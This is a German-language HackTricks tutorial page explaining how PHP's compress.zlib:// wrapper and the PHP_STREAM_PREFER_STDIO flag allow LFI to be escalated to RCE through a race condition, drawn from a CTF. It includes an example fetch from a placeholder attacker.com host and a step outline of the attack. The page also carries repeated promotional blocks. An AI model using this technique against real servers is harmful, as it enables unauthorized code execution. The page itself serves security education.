5.8 KiB
LFI2RCE Über compress.zlib + PHP_STREAM_PREFER_STUDIO + Pfadoffenlegung
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
WhiteIntel
WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.
Sie können ihre Website besuchen und ihren Motor kostenlos ausprobieren unter:
{% embed url="https://whiteintel.io" %}
compress.zlib://
und PHP_STREAM_PREFER_STDIO
Eine Datei, die mit dem Protokoll compress.zlib://
und der Flagge PHP_STREAM_PREFER_STDIO
geöffnet wird, kann weiterhin Daten, die später über die Verbindung eintreffen, in dieselbe Datei schreiben.
Dies bedeutet, dass ein Aufruf wie:
file_get_contents("compress.zlib://http://attacker.com/file")
Der Angreifer sendet eine Anfrage, die nach http://attacker.com/file fragt. Der Server könnte die Anfrage mit einer gültigen HTTP-Antwort beantworten, die Verbindung offen halten und zu einem späteren Zeitpunkt zusätzliche Daten senden, die ebenfalls in die Datei geschrieben werden. Diese Information kann im folgenden Teil des php-src-Codes in main/streams/cast.c eingesehen werden:
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
Rennbedingung zu RCE
Dieses CTF wurde mithilfe des vorherigen Tricks gelöst.
Der Angreifer wird den Opferserver dazu bringen, eine Verbindung zu öffnen und eine Datei vom Angreiferserver zu lesen, indem das compress.zlib
-Protokoll verwendet wird.
Während diese Verbindung besteht, wird der Angreifer den Pfad zur temporären Datei exfiltrieren, der vom Server preisgegeben wird.
Während die Verbindung noch offen ist, wird der Angreifer eine LFI ausnutzen, um die von ihm kontrollierte temporäre Datei zu laden.
Es gibt jedoch eine Überprüfung im Webserver, die das Laden von Dateien verhindert, die <?
enthalten. Daher wird der Angreifer eine Rennbedingung ausnutzen. In der noch offenen Verbindung wird der Angreifer das PHP-Payload NACHDEM der Webserver überprüft hat, ob die Datei verbotene Zeichen enthält, aber BEVOR er deren Inhalt lädt.
Für weitere Informationen siehe die Beschreibung der Rennbedingung und des CTF unter https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
WhiteIntel
WhiteIntel ist eine von Darknet angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.
Sie können ihre Website besuchen und ihre Engine kostenlos ausprobieren unter:
{% embed url="https://whiteintel.io" %}
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.